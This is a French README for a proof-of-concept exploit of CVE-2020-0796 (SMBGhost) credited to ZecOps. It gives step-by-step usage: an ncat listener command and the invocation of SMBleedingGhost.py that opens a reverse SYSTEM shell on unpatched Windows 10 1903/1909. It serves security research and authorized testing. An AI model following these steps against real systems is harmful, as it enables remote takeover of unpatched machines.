monjheta/cve-2020-0796Exploit de preuve de concept d'exécution de code à distance pour CVE-2020-0796 (SMBGhost) ciblant Windows 10 1903/1909 non corrigé. Fournit un reverse shell via une vulnérabilité du protocole SMB. Destiné aux tests autorisés et à l'éducation.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Trouvez les erreurs des attaquants
Preuve de concept (POC) d'exécution de code à distance pour CVE-2020-0796 / "SMBGhost"
Résultat attendu : Shell inversé (reverse shell) avec accès système.
Destiné uniquement à des fins éducatives et de test dans des environnements professionnels.
ZecOps décline toute responsabilité concernant ce code, utilisez-le à vos propres risques.
Veuillez contacter [email protected] si vous êtes intéressé par des outils DFIR sans agent pour serveurs, postes de travail et appareils mobiles afin de détecter SMBGhost et d'autres types d'attaques automatiquement.
Assurez-vous que Python et ncat sont installés.
Exécutez calc_target_offsets.bat sur l'ordinateur cible, et ajustez les offsets en haut du fichier SMBleedingGhost.py en fonction de la sortie du script (voir aussi la note ci-dessous).
Exécutez ncat avec les arguments de ligne de commande suivants :
ncat -lvp <port>
Où <port> est le numéro de port sur lequel ncat écoutera.
Exécutez SMBleedingGhost.py avec les arguments de ligne de commande suivants :
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Où <target_ip> est l'adresse IP de l'ordinateur cible vulnérable. <reverse_shell_ip> et <reverse_shell_port> sont l'adresse IP et le numéro de port sur lequel ncat écoute.
Si tout se passe bien, ncat affichera un shell qui donne un accès système à l'ordinateur cible.
Remarque : Vous vous demandez peut-être pourquoi il est nécessaire d'exécuter le script calc_target_offsets.bat sur l'ordinateur cible, et cela ne va-t-il pas à l'encontre du principe même de l'exécution de code à distance. Ces offsets ne sont pas aléatoires et sont identiques sur toutes les instances Windows d'une même version de Windows. On pourrait rendre l'attaque plus universelle en détectant la version Windows cible et en ajustant les offsets automatiquement, ou en ne s'y fiant pas du tout, mais il ne s'agit que d'une preuve de concept et nous avons fait ce qui était plus simple. Nous considérons également comme une bonne chose que la POC ne soit pas universelle et ne soit pas pratique pour d'autres usages que les tests et l'éducation.
Les versions Windows 10 1903 et 1909 sont concernées. Les versions non patchées de Windows 10 1903 ne sont pas prises en charge en raison d'un bug de déréférencement nul dans Windows (corrigé dans KB4512941).
En raison de la nature de l'exploitation, la POC fonctionne mieux pour des cibles fonctionnant sur un ordinateur (ou une VM) avec un seul processeur logique. Les cibles avec plus d'un processeur logique fonctionnant dans VirtualBox devraient également être prises en charge, mais la POC est moins fiable dans ce cas. D'autres cibles pourraient ne pas être prises en charge. Pour plus de détails, référez-vous à notre article technique ci-dessous.
